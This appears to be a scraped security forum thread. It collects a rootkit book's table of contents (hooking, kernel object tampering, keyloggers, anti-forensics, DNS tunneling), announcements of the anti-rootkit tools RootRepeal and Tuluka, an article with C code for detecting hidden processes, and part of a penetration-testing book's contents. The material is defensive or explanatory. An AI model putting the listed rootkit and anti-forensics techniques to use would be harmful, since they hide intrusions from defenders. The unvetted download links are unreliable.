2: Subverting Group Policy. . . Detour Implementation. . . . . . . . . Initializing the Patch Metadata Structure . The Epilog Detour . . . . . . . . . . . . . Mapping Registry Values to Group Policies. Example 3: Granting Access Rights . . . Detour Implementation. . . . . . . . . . 6.2 Binary Patching . . . . . . . . . . . . . . . Subverting the Master Boot Record . . . . The MBR in Depth . The Partition Table . . . . . . . . . . . . . 357 . 357 .358 .358 .359 · 361 . 365 · ... 365 . 367 · . . . 367 · . . . 368 .373 . 374 . 376 . 379 .380 .380 . . 383 Patch or Replace? ... . .. . Hidden Sectors . . . . . . . . . Bad Sectors and Boot Sectors . Rogue Partition . MBR Loader ... IA-32 Emulation. . Vbootkit ... .. . 6.3 Instruction Patching Countermeasures . Contents .386 . 387 . 388 . 389 . 390 . 393 . 395 .399 Chapter 7 Altering Kernel Objects. . . . . . . . . . . . . . . . . . . . 401 7.1 The Cost of Invisibility . . . . . . . . 401 Issue 1: The Steep Learning Curve . . . . . 401 Issue 2: Concurrency . . . . . . . . . . . . . 402 Issue 3: Portability and Pointer Arithmetic . 403 Branding the Technique: DKOM . . . . . . . 405 Objects? ...... ... .. ... .. . ... .. ... . . ... 405 7.2 Revisiting the EPROCESS Object . . 406 Acquiring an EPROCESS Pointer . 406 Relevant Fields in EPROCESS . . 409 UniqueProcessId . . . 409 ActiveProcessLinks. . 410 Token . . . . . . . . . 411 ImageFileName . . . . 411 7.3 The DRIVER_SECTION Object. . 411 7.4 The TOKEN Object . . . . . . . 414 Authorization on Windows . . . . . 414 Locating the TOKEN Object. . . . 416 Relevant Fields in the TOKEN Object . . 418 7.5 Hiding a Process. . . . . . . . . . 422 7.6 Hiding a Driver . . . . . . . . . . 428 7.7 Manipulating the Access Token. . 432 7.8 Using No-FU . . . . . . . 434 7.9 Countermeasures . . . . . . . . . 436 Cross-View Detection . . . . . . . 436 High-Level Enumeration: CreateToolhelp32SnapshotO . . 437 High-Level Enumeration: PID Bruteforce . 439 Low-Level Enumeration: Processes. . 442 Low-Level Enumeration: Threads. . 444 Related Software. . . . . . . . 451 Field Checksums. . . . . . . . . . . . . 452 Counter-Countermeasures . . . . . . . 452 7.10 Commentary: Limits of the Two-Ring Model . 453 7.11 The Last Lines of Defense . . . . . . . . . . . 454 xi (ontents Chapter 8 Deploying Filter Drivers. . . . . . . . . . . . . . . . 8.1 Filter Driver Theory. . . . . . . . Driver Stacks and Device Stacks. . . . . . The Lifecycle of an IRP . . . . . . . . . . . Going Deeper: The Composition of an IRP IRP Forwarding . . . . . . . . . . IRP Completion . . . . . . . . . . . . . . . 8.2 An Example: Logging Keystrokes . . . . . The PS/2 Keyboard Driver and Device Stacks . Lifecycle of an IRP. . . . . . . . . . . . . . . Implementation . . . . . . . . . . . . . . . . 8.3 Adding Functionality: Dealing with IRQLs. Dealing with the Elevated IRQL . . Sharing Nicely: The Global Buffer . The Worker Thread . . . . . . . . . Putting It All Together . . . . . . . 8.4 Key Logging: Alternative Techniques . Set WindowsHookEx. . . . . . . . GetAsyncKeyState . . . . . . . . 8.5 Other Ways to Use Filter Drivers Part 111 - Anti-Forensics Chapter 9 xii Defeating Live Response . . . . . . . . . . . . . . . IDS, IPS, and Forensics . . Anti-Forensics .... Data Destruction . . Data Hiding . . . . . Data Transformation Data Contraception. Data Fabrication ... File System Attacks 9.1 The Live Incident Response Process The Forensic Investigation Process Collecting Volatile Data . . . Performing a Port Scan . . . . . . Collecting Nonvolatile Data .. .. The Debate over Pulling the Plug Countermeasures . . . . . . 9.2 RAM Acquisition .... .... . Software-Based Acquisition .. . KnTDD.exe. Autodump+ ..... . . .. . ... . 457 .458 .458 .460 . 461 .464 .465 .467 .467 .469 .470 . 475 .475 .477 .479 .483 . 484 .485 .488 .489 . . . . 493 . 494 .495 .496 . 496 .497 .497 .497 .497 .498 .498 .500 .504 .505 .508 .508 · . 509 · . 510 . 510 · .511 Chapter 10 LiveKd.exe . . . . . . . . . Crash Dumps . . . . . . . . Hardware-Based Acquisition. Countermeasures . . . . . . . Defeating File System Analysis. . . . . . 10.1 File System Analysis . .. Forensic Duplication . . . . Recovering Deleted Files . Enumerating ADSes . . . . Acquiring File Metadata . . Removing Known Good Files. File Signature Analysis . . . . Static Analysis of an Unknown Executable Run-time Analysis of an Unknown Executable 10.2 Countermeasures: Overview . .. . .. . 10.3 Countermeasures: Forensic Duplication . Reserved Disk Regions . . . . . . . . . . Live Disk Imaging. . . . . . . . . . . . . 10.4 Countermeasures: Deleted File Recovery. 10.5 Countermeasures: Acquiring Metadata Altering Timestamps . . . . . . . . . . . . Altering Checksums . . . . . . . . . . . . . 10.6 Countermeasures: Removing Known Files Move Files into the "Known Good" List . Introduce "Known Bad" Files . .. .. . . Flood the System with Foreign Binaries . Keep Off a List Entirely by Hiding . Out-of-Band Hiding .. . . .. . In-Band Hiding .. . . ... .... . Application Layer Hiding: M42 . . . 10.7 Countermeasures: File Signature Analysis 10.B Countermeasures: Executable Analysis . Foiling Static Executable Analysis . Cryptors ...... .. .. . . Encryption Key Management. . . . Packers . ....... .. . . . .. . Augmenting Static Analysis Countermeasures Foiling Run-time Executable Analysis . Attacks against the Debugger. . . . . Breakpoints . . . . . . . . . . . . . . Detecting a User-Mode Debugger . . Detecting a Kernel-Mode Debugger. Detecting a User-Mode or Kernel-Mode Debugger Contents · 513 · 513 · 514 · 515 ... . 517 · 517 · 519 · 521 · 521 . 523 .527 . 529 . 530 · 533 .537 · 538 .538 . 539 · 542 . 544 .544 .546 · 547 · 547 .548 . 548 . 549 . 549 . 555 .566 · 567 .568 .568 .571 . 580 · 581 · 583 · 585 .586 . 586 · 587 . 588 · 588 xi ii (ontents Chopter 11 xiv Detecting Debuggers via Code Checksums. . Land Mines .. . ...... . Obfuscation .......... . . Obfuscating Application Data. Obfuscating Application Code The Hidden Price Tag . . . . 10.9 Borrowing Other Malware Tactics . Memory-Resident Rootkits .... . Data Contraception . . . . . . . . . The Tradeoff: Footprint versus Failover . Defeating Network Analysis . . . . • . . . . . . . . 11 .1 Worst-Case Scenario: Full Content Data Capture .... 11 .2 Tunneling: An Overview . HTTP. DNS ........ . ICMP ....... . Peripheral Issues . 11.3 The Windows TCPIIP Stack Windows Sockets 2 . Raw Sockets . . . . . Winsock Kernel API . NDIS ...... . . . Different Tools for Different Jobs. 11 .4 DNS Tunneling. DNS Query . ... ....... . DNS Response . . . . . . . . . . 11.5 DNS Tunneling: User Mode ... 11 .6 DNS Tunneling: WSK Implementation. Initialize the Application's Context. .. Create a Kernel-Mode Socket . .... Determine a Local Transport Address . Bind the Socket to the Transport Address. Set the Remote Address (the C2 Client). Send the DNS Query . . . . Receive the DNS Response. . . . . . . . 11.7 NDIS Protocol Drivers . . . . . . . . . . Building and Running the NDISProt 6.0 Example. An Outline of the Client Code An Outline of the Driver Code The ProtocolxxxO Routines. Missing Features. . . . . . . . · 589 .590 .590 · 591 · 592 . 595 . 596 . 596 · 597 . 599 . . . . 603 . . . . . 604 . 605 .606 .607 .607 .609 · 610 .611 · 612 · 613 · 614 · 616 · 617 · 617 · 619 · 621 · 625 .632 .632 · 634 · 635 · 636 . 638 .639 · 641 · 642 . 646 .649 .652 .656 Chapter 12 Countermeasure Summary . . . 12.1 Live Incident Response . 12.2 File System Analysis . . 12.3 Network Traffic Analysis 12.4 Why Anti-Forensics? .. Port IV - End Material Chapter 13 Chapter 14 Appendix The Tao of Rootkits . . . . . . . Run Silent, Run Deep . . . . . . Development Mindset. . . . . . On Dealing with Proprietary Systems . Staking Out the Kernel . . . . . . . . . Walk before You Run: Patching System Code . Walk before You Run: Altering System Data Structures The Advantages of Self-Reliant Code Leverage Existing Work Use a Layered Defense .. . .. . Study Your Target . . . . . . . . . Separate Mechanism from Policy . Closing Thoughts . . . . . . . . . . . . . Chapter 2 ..... . . Project: KillDOS. . Project: HookTSR . Project: HideTSR . Project: Patch Chapter 3 . SSDT .. . . Chapter 4 ... . Project: Skeleton (KMD Component). Project: Skeleton (User-Mode Component) Project: Installer . Project: Hoglund. . . . . . . . . . . Project: SD .... . . .. .. .. . . Project: HBeat (Client and Server) . Project: IRQL . . . . . . Chapter 5 . ..... . . . . Project: RemoteThread . Contents · . . . 659 .660 . 662 . 663 .664 · .. . 669 . 669 . 670 · 670 .671 · 672 ... 672 · 673 · 675 · 675 . 676 · 676 · .. . 677 . 683 . 683 . 684 · 691 . 696 . 697 . 697 .710 · 710 · 714 · 721 . 724 .726 · 729 . 736 . 739 · 739 xv Contents xvi Project: ReadPE .. .. . ..... . .. .... ... 741 Project: HookIAT . . .... ... . . 746 Project: HookIDT . . . . . . . 750 Project: HookSYS . . . . . . . 756 Project: HookSSDT . . 760 Project: HookIRP . . . . . . . . . . 772 Project: HookGDT . .. ... . .. . 774 Project: AntiHook (Kernel Space and User Space) . . . . . . . . 779 Project: ParsePEB. . . . . . . . . . . . . . . . . . . . .. . . 790 Chapter 6 . . . . . . . . . . . . . . . . . . . . . . . . . . .. .. 793 Project: TraceDetour . . . . . 793 Project: GPO Detour . . . . . . . . 801 Project: AccessDetour. . . . . . . . . . 804 Project: MBR Disassembly . . . . . . . . . . . . 811 Project: LoadMBR. . . . . . . . . . . . . . . . . 813 Chapter 7 . . . . . . . . . . . .. ... .. .. . ... . .... 816 Project: No-FU (User-Mode Portion) .. .... . .... . .. . 816 Project: No-FU (Kernel-Mode Portion) . ... ... ....... 821 Project: TaskLister . . . 834 Project: findFU . . . . .. ... ............... . 838 Chapter 8 . . . . . . . . . .. .. ..... ...... . ... . . 843 Project: KiLogr-VOl . . . . .. . . . . .... . 843 Project: KiLogr-V02. . . .. ... .. . ..... 847 Chapter 10 . . . . . . . . . .. . . . .. . . . . . . 854 Project: TSMod . . . . . . . . . . 854 Project: Slack .. . . . . . . . . . 858 Project: MFT . . . . . . . . . . 860 Project: Cryptor . .. . . . . . . . . 871 Chapter 11 . . . .. .. . . . . . . . . 876 Project: UserModeDNS . . 876 Project: WSK-DNS . ....... . .... ... .. ... . .. 883 Index . ............. . . .. . 895 Download: http://www.mediafire.com/?7jl44499d94l3l9 http://www.megaupload.com/?d=C4TS6FFB Stiu ca mai e postata pe undeva pe aici, dar link-ul nu mai e valid iar cartea asta se merita descarcata.
-
[h=3]RootRepeal - New Rootkit Detector Tool[/h] RootRepeal is new kernel land based Anti-Rootkit tool which is simple to use yet powerful. Currently it is in beta version and as of now support only x86 systems. Main features Driver Scan - scans the system for kernel-mode drivers. Displays all drivers currently loaded, and shows if a driver has been hidden, and whether the driver's file is visible on-disk. Files Scan - scans any fixed drive on the system for hidden, locked or falsified* files. Processes Scan - scans the system for processes. Displays all processes currently running, and shows if a processes is hidden or locked. SSDT Scan - shows whether any of the functions in the System Service Descriptor Table (SSDT) are hooked. Stealth Objects Scan - attempts to determine if any rootkits are active by looking for typical symptoms. Hidden Services Scan - scans for hidden system services. Shadow SSDT Scan - counterpart to the SSDT Scan, but deals mostly with graphics and window-related functions. Due to nature of these kind of tools, you are always advised to have backups of all important data before running it. Also it is advised to run it on Virtual machines such as Vmware. For more interesting details and test it yourself, visit the project page of RootRepeal Download: http://ad13.geekstogo.com/RootRepeal.rar Sursa: SecurityXploded Forum • View topic - RootRepeal - New Rootkit Detector Tool
-
[h=3]Anti-Rootkit Tool - Tuluka Kernel Inspector[/h] Here's the new Anti-Rootkit tool - "Tuluka Kernel Inspector" - by Libertad from Tuluka.org. It has following core features Detects hidden processes, drivers and devices Detects IRP hooks Identifies the substitution of certain fields in DRIVER_OBJECT structure Checks driver signatures Detects and restores SSDT hooks Detects suspicious descriptors in GDT IDT hook detection SYSENTER hook detection Displays list of system threads and allows you to suspend them IAT and Inline hook detection Shows the actual values of the debug registers, even if reading these registers is controlled by someone Allows you to find the system module by the address within this module Allows you to display contents of kernel memory and save it to disk Allows you to dump kernel drivers and main modules of all processes Allows you to terminate any process Is able to dissasemble interrupt and IRP handlers, system services, start routines of system threads and many more Allows to build the stack for selected device Many more.. It is tested on following operating systems (32-bit), Windows XP SP0 SP1 SP2 SP3 Windows Server 2003 SP0 SP1 SP2 R2 Windows Vista SP0 SP1 SP2 Windows Server 2008 SP0 SP1 SP2 Windows 7 SP0 SP1 Though it currently supports only 32 bit version, support for 64 bit is expected in upcoming versions. You can download it from here: http://www.tuluka.org/Download.html Sursa: SecurityXploded Forum • View topic - New Anti-Rootkit Tool - Tuluka Kernel Inspector
-
Hidden Rootkit Process Detection [TABLE] [TR] [TD=class: page_subheader]Contents[/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD] Introduction to Rootkits Userland Rootkit & their Hidden Operations Hidden Userland Rootkit Process Detection Methods Direct NT System Call Implemenation HPD using PIDB (Process ID Bruteforce) method HPD with CSRSS Process Handle Enumeration [*] Other Methods of Detecting Hidden Processes [*] References [/TD] [/TR] [TR] [TD] [/TD] [/TR] [TR] [TD] [/TD] [/TR] [TR] [TD=class: page_subheader]Introduction to Rootkits [/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD] Rootkits are one of the advanced species in today's every changing technical world. They are known for their sophisticated techniques to hide their presence often evading their detection from top notch Antiviruses and detection tools. Antivirus solutions often hit the wall when it comes to Rootkit detection and there is a greater need for dedicated Anti-Rootkit tools. Rootkits use combination of user land and kernel level techniques to evade their detection. In this article we will throw light on how userland Rootkits work under the hood and different techniques which can be used to detect such Rootkits. Though these methods are effective only against user land Rootkits, in some cases they can even detect kernel based Rootkits unless they haven't taken proper care to remove all those traces. [/TD] [/TR] [TR] [TD=align: center] [/TD] [/TR] [TR] [TD=align: center] [/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD=class: page_subheader]Userland Rootkits & their Hidden Operations [/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD] Userland Rootkits use different techniques to hide their process and to prevent its termination. One such method is to hook the NtOpenProcess function (OpenProcess API internally calls NtOpenProcess) and return negative result whenever Anti-Rootkit application try to open such process. As a result Rootkit process will remain hidden from any process viewer tools. This is just one of the method and often you will find more such internal functions such as NtQuerySystemInformation being hooked to filter out their process from the list. [/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD] [/TD] [/TR] [TR] [TD] [/TD] [/TR] [TR] [TD=class: page_subheader]Hidden Userland Rootkit Process Detection Methods [/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD] Detection of hidden process is equally challenging as Rootkit can employ one or more methods to cover its presence. Here are some of the very effective methods to detect such userland Rootkit processes. All these detection methods work on common approach. First they get the list of all running processes using standard API functions such as EnumProcesses or Process32First. Then one or more special methods mentioned below are used to enumerate the processes. Finally this new process list is compared with previously obtained list and any new process found in this new list is detected as hidden rootkit process. [/TD] [/TR] [TR] [TD] [/TD] [/TR] [TR] [TD] [/TD] [/TR] [TR] [TD=class: page_subheader]HPD using Direct NT System Call Implemenation [/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD] This is very effective method to detect any hidden userland rootkit processes. One of the lesser-known methods of enumerating the processes is to use NtQuerySystemInformation function by passing first parameter as SystemProcessesAndThreadsInformation. The drawback of this method is that it can be easily circumvented by hooking the NtQuerySystemInformation function and then by tampering with the results. The NtQuerySystemInformation is basically stub having few lines of code to transition from user to kernel land. It finally calls the NtQuerySystemInformation function within the kernel. So the trick here is to implement the NtQuerySystemInformation without directly calling the function. Here is the sample code that shows how one can directly implement NtQuerySystemInformation on various platforms. On Windows2000, INT 2E and from XP onwards 'sysenter' instruction is used to transition from user to kernel. [/TD] [/TR] [/TABLE] __declspec(naked) NTSTATUS __stdcall DirectNTQuerySystemInformation (ULONG SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength) { //For Windows 2000 if( OSMajorVersion == 5 && OSMinorVersion == 0 ) { __asm { mov eax, 0x97 lea edx, DWORD PTR ss:[esp+4] INT 0x2E ret 0x10 } } //For Windows XP if( OSMajorVersion == 5 && OSMinorVersion == 1 ) { __asm { mov eax, 0xAD call SystemCall_XP ret 0x10 SystemCall_XP: mov edx, esp sysenter } } //For Windows Vista & Longhorn if( OSMajorVersion == 6 && OSMinorVersion == 0 ) { __asm { mov eax, 0xF8 call SystemCall_VISTA ret 0x10 SystemCall_VISTA: mov edx, esp sysenter } } //For Windows 7 if( OSMajorVersion == 6 && OSMinorVersion == 1 ) { __asm { mov eax, 0x105 call SystemCall_WIN7 ret 0x10 SystemCall_WIN7: mov edx, esp sysenter } } } } [TABLE] [TR] [TD]This technique can discover any userland rootkit process and only way for rootkit process to defeat against this technique is to move into kernel. However, due to low-level implementation, there is slight risk in using this method in production code.[/TD] [/TR] [TR] [TD] [/TD] [/TR] [TR] [TD] [/TD] [/TR] [TR] [TD] [/TD] [/TR] [TR] [TD=class: page_subheader]HPD using PIDB (Process ID Bruteforce) method [/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD] This method was first used by BlackLight and it turned out to be very effective yet simple. Here, it enumerates through process id from 0 to 0x41DC and then check if that process exist by calling OpenProcess function. Then this list of discovered processes are compared with normal process list got using standard enumeration functions (such as Process32First, EnumProcesses functions). During the testing, it is found that some process id on server machines were more than magic number 0x41DC. So in order to be effective the magic number is doubled to take care of all possible running processes on latest operating systems. Here is the sample code that implements PIDB method: for(int i=0; i < 0x83B8; i+=4) { //These are system idle and system processes if( i == 0 || i==4 ) { continue; } hprocess = OpenProcess (PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, i); if( hprocess == NULL ) { if( GetLastError() != ERROR_INVALID_PARAMETER) { // If the error code is other than // ERROR_INVALID_PARAMETER that means this // process exists but we are not able to open. //check if this process is already discovered //using standard API functions. if( IsHiddenProcess(i) ) { printf("\n Hidden process found %d", i); } } continue; } dwExitCode = 0; GetExitCodeProcess(hprocess, &dwExitCode); // check if this is active process... // only active process will return error // code as ERROR_NO_MORE_ITEMS if( dwExitCode == ERROR_NO_MORE_ITEMS ) { //check if this process is already discovered if( IsHiddenProcess(i) ) { printf("\n Hidden process found %d", i); } } CloseHandle(hprocess); } [TABLE] [TR] [TD]Though this is very effective method, rootkit can easily defeat this technique by hooking OpenProcess or its native version NTOpenProcess function and then returning NULL with error code as ERROR_INVALID_PARAMETER. To defend against such tricks anti-rootkit softwares can call NtOpenProcess using direct system call method as shown in "Detection of Hidden Process using Direct NT System Call Implemenation".[/TD] [/TR] [TR] [TD] [/TD] [/TR] [TR] [TD] [/TD] [/TR] [TR] [TD] [/TD] [/TR] [TR] [TD=class: page_subheader]HPD with CSRSS Process Handle Enumeration [/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD] Any windows process when run will have lot of open handles realted to process, thread, named objects, file, port, registry, etc. that can be used to detect hidden process. One can use the native API function. The effective way to enumerate handles is to use NtQuerySystemInformation with first parameter as SystemHandleInformation. It lists the handles from all running processes in the system. For each enumerated handle, it provides information such as handle, handle type and process id of the owning process. Hence, by enumerating through all the handles and then using the associated process id, one can detect all possible hidden processes that are not revealed through standard API functions. There is one interesting system process called CSRSS.EXE, which holds the handles to all running processes. So instead of going through all the different handles, one can just scroll through the process handles of CSRSS.EXE process. Interestingly this method can, not only detect userland hidden processes but also some of the rootkit processes which have used kernel land techniques without taking care of hiding process handles within CSRSS.EXE process. Here is the code snippet, which can demonstrate this method: [/TD] [/TR] [/TABLE] [/TD] [/TR] [/TABLE] PVOID bufHandleTable = malloc(dwSize); status = NtQuerySystemInformation (SystemHandleInformation, bufHandleTable, dwSize, 0); SYSTEM_HANDLE_INFORMATION *HandleInfo = (SYSTEM_HANDLE_INFORMATION *) bufHandleTable; // Process handles within CSRSS will not have handle // to following processes system idle process, system // process, smss.exe, csrss.exe. for(int i=0; i< HandleInfo->NumberOfHandles; i++) { int pid = HandleInfo->Handles[i].UniqueProcessId; // For XP & 2K3 : HANDLE_TYPE_PROCESS = 0x5 // For Vista & Longhorn : HANDLE_TYPE_PROCESS = 0x6 if( HandleInfo->Handles[i].ObjectTypeIndex == HANDLE_TYPE_PROCESS) { //check if this process id is that of CSRSS.EXE process. if( IsCSRSSProcess(pid) ) { hprocess = OpenProcess(PROCESS_DUP_HANDLE, false, pid); if( hprocess ) { if( DuplicateHandle(hprocess, (HANDLE)HandleInfo->Handles[i].Handle, GetCurrentProcess(), &tprocess, PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, 0)) { targetPid = GetProcessId(tprocess); //check if this is hidden process if( IsHiddenProcess(targetPid) ) { printf("\n Found hidden process %d", targetPid); } } }// End of if( hprocess ) } // End of if( IsCSRSSProcess(pid) ) } // End of if } // End of for-loop [TABLE] [TR] [TD]Since the CSRSS.EXE is not first process started when Windows boots, it does not contains handles to already started processes such as system idle process(pid=0), system process (pid=4), smss.exe and its process itself. On Windows Vista system it is possible to more than one CSRSS.EXE process in case of multiple users logged in. Same situation arises on XP system, when more than one user is operating through 'Switch User' mechanism. In such case, one has to check if the enumerated process belongs to any of these CSRSS process ids. The function IsCSRSSProcess() above does exactly the same by comparing the discovered process id with list of all running CSRSS.EXE processes. One more way is to enumerate all thread handles within CSRSS process instead of process handles, as most rootkits are aware of this technique. The CSRSS process not only has process handles but also thread handles for every running processes. Once the thread handle is known, one can use GetProcessIdOfThread function to get process id associated with that thread after duplicating it. Though any rootkit process can defeat this technique by hooking NtQuerySystemInformation or NtOpenProcess function, it can easily be circumvented by using direct implementation of these native API functions as described in the "Detection of Hidden Process using Direct NT System Call Implemenation". [/TD] [/TR] [TR] [TD] [/TD] [/TR] [TR] [TD] [/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD=class: page_subheader]Other Methods of Detecting Hidden Processes [/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD] There exists several other userland methods to detect hidden rootkit processes, but they are not as effective as the ones described above. However they can be used on need basis and often to target specific rootkit. One such method is to enumerate through all the open Windows created by the processes within the system using EnumWindows API function and then calling the GetWindowThreadProcessId function to get the process id associated with that Window. Here is the sample code that does the same... [/TD] [/TR] [/TABLE] //Setup the callback function to enumerate through windows EnumWindows(EnumWindowsProc, NULL); //This is callback function to enumerate windows BOOL CALLBACK EnumWindowsProc(HWND hwnd, PARAM lParam) { DWORD procId; GetWindowThreadProcessId(hwnd, &procId); if( IsHiddenProcess(procId) ) { printf("Found hidden process %d", procId); } } [TABLE] [TR] [TD]There exist several other ways to detect the hidden processes in user land and new ways are being discovered everyday. Though these detection techniques can be easily defeated from kernel land, they present simple and less risky mechanism to uncover the userland rootkits.[/TD] [/TR] [TR] [TD] [/TD] [/TR] [TR] [/TR] [TR] [TD] [/TD] [/TR] [TR] [TD=class: page_subheader]References [/TD] [/TR] [TR] [/TR] [TR] [TD]1. Detection of Hidden Processes 2. Hiding Rootkit process from CSRSS Handle Enumeration Method [/TD] [/TR] [/TABLE] Sursa: Hidden Rootkit Process Detection - www.SecurityXploded.com
-
[h=3]Attacking and Exploiting Wireless Drivers[/h] Here is the video recording of talk on attacking and exploiting wireless drivers in various clients. This presentation was delivered by Sylvester Keil and Clemens Kolbitsch at the Deepsec Conference. Sursa: SecurityXploded Forum • View topic - Attacking and Exploiting Wireless Drivers
-
Professional Penetration Testing Creating and Operating a Formal Hacking Lab Thomas Wilhelm Technical Editor Jan Kanclirz Jr. Pagini: 525 Acknowledgments ................................................................................ xvii Foreword ............................................................................................. xix PART 1 SETTING UP CHAPTER 1 Introduction ......................................................................... 3 Introduction ....................................................................... 3 About the Book .................................................................. 4 Target Audience ............................................................. 4 How to Use This Book .................................................... 5 About the DVD ................................................................... 7 Course Material .............................................................. 8 Reference Material .......................................................... 8 LiveCDs ......................................................................... 8 Summary ......................................................................... 10 Solutions Fast Track .......................................................... 10 About the Book ............................................................ 10 About the DVD ............................................................. 11 Reference ......................................................................... 11 CHAPTER 2 Ethics and Hacking ............................................................. 13 Introduction ..................................................................... 13 Why Stay Ethical? .............................................................. 15 Black Hat Hackers ......................................................... 15 White Hat Hackers ........................................................ 17 Gray Hat Hackers .......................................................... 18 Ethical Standards ............................................................... 19 Certifications ................................................................ 19 Contractor .................................................................... 19 Employer ..................................................................... 20 Educational and Institutional Organizations ....................... 21 Computer Crime Laws ........................................................ 24 Types of Laws ............................................................... 24 Type of Computer Crimes and Attacks ............................. 24 International Laws ......................................................... 30 Safe Harbor and Directive 95/46/EC ................................ 31 Getting Permission to Hack ................................................ 32 Confidentiality Agreement .............................................. 32 Company Obligations .................................................... 33 Contractor Obligations ................................................... 34 Auditing and Monitoring ................................................ 35 Conflict Management ..................................................... 35 Summary ......................................................................... 36 Solutions Fast Track .......................................................... 36 Why Stay Ethical? .......................................................... 36 Ethical Standards ........................................................... 37 Computer Crime Laws .................................................... 37 Getting Permission to Hack ............................................ 37 Frequently Asked Questions ............................................... 38 Expand Your Skills ............................................................ 38 References ........................................................................ 40 CHAPTER 3 Hacking as a Career ............................................................ 43 Introduction ..................................................................... 43 Career Paths ..................................................................... 45 Network Architecture ..................................................... 46 System Administration ................................................... 47 Applications and Databases ............................................ 48 Certifications .................................................................... 49 High-Level Certifications ................................................. 51 Skill- and Vendor-Specific Certifications ............................ 65 Associations and Organizations ........................................... 84 Professional Organizations .............................................. 85 Conferences .................................................................. 85 Local Communities ........................................................ 92 Mailing Lists ................................................................. 93 Summary ......................................................................... 94 Solutions Fast Track .......................................................... 95 Career Paths ................................................................. 95 Certifications ................................................................ 95 Associations and Organizations ....................................... 96 Frequently Asked Questions ............................................... 96 Expand Your Skills ............................................................ 97 CHAPTER 4 Setting Up Your Lab ........................................................... 101 Introduction .................................................................... 101 Personal Lab ................................................................... 102 Keeping it Simple ........................................................ 102 Equipment .................................................................. 102 Software ..................................................................... 103 Lab for Book Exercises ................................................. 103 Corporate Lab ................................................................. 106 Internal Labs ............................................................... 107 External Labs .............................................................. 107 Equipment .................................................................. 107 Software ..................................................................... 108 Protecting Penetration Test Data ........................................ 108 Encryption Schemas ..................................................... 108 Securing PenTest Systems ............................................. 110 Mobile Security Concerns .............................................. 111 Wireless Lab Data ........................................................ 112 Additional Network Hardware ........................................... 112 Routers ...................................................................... 113 Firewalls .................................................................... 113 Intrusion Detection System/Intrusion Prevention System . . . 114 Summary ........................................................................ 114 Solutions Fast Track ......................................................... 115 Personal Lab ............................................................... 115 Corporate Lab ............................................................. 115 Protecting Penetration Test Data .................................... 115 Additional Network Hardware ....................................... 115 Frequently Asked Questions .............................................. 116 Expand Your Skills .......................................................... 116 Reference ....................................................................... 117 CHAPTER 5 Creating and Using PenTest Targets in Your Lab ...................... 119 Introduction .................................................................... 119 Turn-Key Scenarios versus Real-World Targets ..................... 120 Problems with Learning to Hack .................................... 120 Real-World Scenarios ................................................... 121 Turn-Key Scenarios .......................................................... 122 What is a LiveCD? ........................................................ 123 De-ICE ....................................................................... 123 Hackerdemia ............................................................... 127 pWnOS ...................................................................... 128 Foundstone ................................................................. 131 Open Web Application Security Project ........................... 132 Using Exploitable Targets ................................................. 136 Operating Systems ....................................................... 136 Applications ................................................................ 137 Analyzing Malware – Viruses and Worms ............................ 137 Setting up a Lab .......................................................... 138 Other Target Ideas ........................................................... 144 CTF Events ................................................................. 145 Web-Based Challenges ................................................. 145 Vulnerability Announcements ........................................ 146 Summary ........................................................................ 147 Solutions Fast Track ......................................................... 148 Turn-Key Scenarios versus Real-World Targets ................. 148 Turn-Key Scenarios ...................................................... 148 Using Exploitable Targets ............................................. 148 Analyzing Malware – Viruses and Worms ........................ 148 Other Target Ideas ....................................................... 149 Frequently Asked Questions .............................................. 149 Expand Your Skills .......................................................... 150 References ...................................................................... 151 CHAPTER 6 Methodologies .................................................................. 153 Introduction .................................................................... 153 Project Management Body of Knowledge ............................ 154 Introduction to PMBOK ................................................ 155 Initiating Process Group ............................................... 155 Planning Process Group ............................................... 157 Executing Process Group .............................................. 161 Closing Process Group ................................................. 163 Monitoring and Controlling Process Group ...................... 163 Information System Security Assessment Framework ............ 166 Planning and Preparation – Phase I ................................ 166 Assessment – Phase II .................................................. 166 Reporting, Clean-up, and Destroy Artifacts – Phase III ...... 170 Open Source Security Testing Methodology Manual .............. 171 Rules of Engagement ................................................... 172 Channels .................................................................... 173 Modules ..................................................................... 175 Summary ........................................................................ 176 viii Contents Solutions Fast Track ......................................................... 177 Project Management Body of Knowledge ........................ 177 Information System Security Assessment Framework ........ 177 Open Source Security Testing Methodology Manual .......... 178 Frequently Asked Questions .............................................. 178 Expand Your Skills .......................................................... 179 References ...................................................................... 179 CHAPTER 7 PenTest Metrics ................................................................ 181 Introduction .................................................................... 181 Quantitative, Qualitative, and Mixed Methods ...................... 182 Quantitative Analysis .................................................... 182 Qualitative Analysis ...................................................... 183 Mixed Method Analysis ................................................. 185 Current Methodologies ..................................................... 186 Project Management Institute ........................................ 186 ISSAF ......................................................................... 191 OSSTMM .................................................................... 192 Tool-Generated Reports ................................................ 193 Summary ........................................................................ 194 Solutions Fast Track ......................................................... 195 Quantitative, Qualitative, and Mixed Methods .................. 195 Current Methodologies ................................................. 195 Frequently Asked Questions .............................................. 196 References ...................................................................... 196 CHAPTER 8 Management of a PenTest ................................................... 197 Introduction .................................................................... 197 Project Team Members ..................................................... 197 Roles and Responsibilities ............................................. 198 Organizational Structure ............................................... 202 Project Management ......................................................... 206 Initiating Stage ............................................................ 206 Planning Stage ............................................................ 208 Executing Stage ........................................................... 209 Monitoring and Controlling ........................................... 211 Closing Stage .............................................................. 211 Summary ........................................................................ 214 Solutions Fast Track ......................................................... 214 Project Team Members ................................................. 214 Project Management ..................................................... 214 Frequently Asked Questions .............................................. 215 Expand Your Skills .......................................................... 215 References ...................................................................... 216 PART 2 RUNNING A PENTEST CHAPTER 9 Information Gathering ......................................................... 219 Introduction .................................................................... 219 Passive Information Gathering ........................................... 221 Web Presence ............................................................. 222 Corporate Data ............................................................ 231 WHOIS and DNS Enumeration ...................................... 233 Additional Internet Resources ........................................ 